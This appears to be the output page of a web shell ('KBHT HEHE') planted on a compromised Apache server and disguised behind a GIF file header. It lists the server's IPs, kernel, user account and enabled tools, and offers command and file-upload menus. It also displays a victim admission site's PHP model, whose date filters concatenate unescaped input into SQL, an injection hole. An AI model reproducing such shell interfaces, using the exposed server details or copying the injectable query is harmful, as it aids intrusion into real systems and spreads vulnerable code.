GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.135.219.153
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/application/models/user/../admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/application/models/user/../admin/EnquiryManagement.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of EnquiryManagement
 *
 * @author Softpro India Pvt. Ltd
 */
class EnquiryManagement extends CI_Model{
    //put your code here
    function insertEnquiry($arr) {
        $this->db->insert("adm_enquiry", $arr);
        return $this->db->insert_id();
    }
    
//    function getEnquiry(){
//        $this->db->select("*");
//        $this->db->from("adm_enquiry");
//        return $this->db->get();
//    }
    
    function getEnquiry($course = '', $startDate = '', $endDate = '') {
        $this->db->select("*");
        $this->db->from("adm_enquiry e");
        $this->db->join("tbl_course_master c", "e.course_id=c.course_id");
        if ($course != '') {
            $this->db -> where("e.course_id", $course);
        }
        
        if ($startDate != '' && $endDate!='') {
            $this->db -> where("e.enq_added_on BETWEEN '".$startDate."' AND '".$endDate."'");
        }
        if ($startDate == '' && $endDate!='') {
            $this->db -> where("e.enq_added_on <= '". $endDate."'");
        }   
        if ($startDate != '' && $endDate=='') {
            $this->db ->  where("e.enq_added_on >='". $startDate."'");
        }
        
        $this->db->order_by("e.enq_added_on", "DESC");
        return $this->db->get();
    }
    
}

KBHT - 2023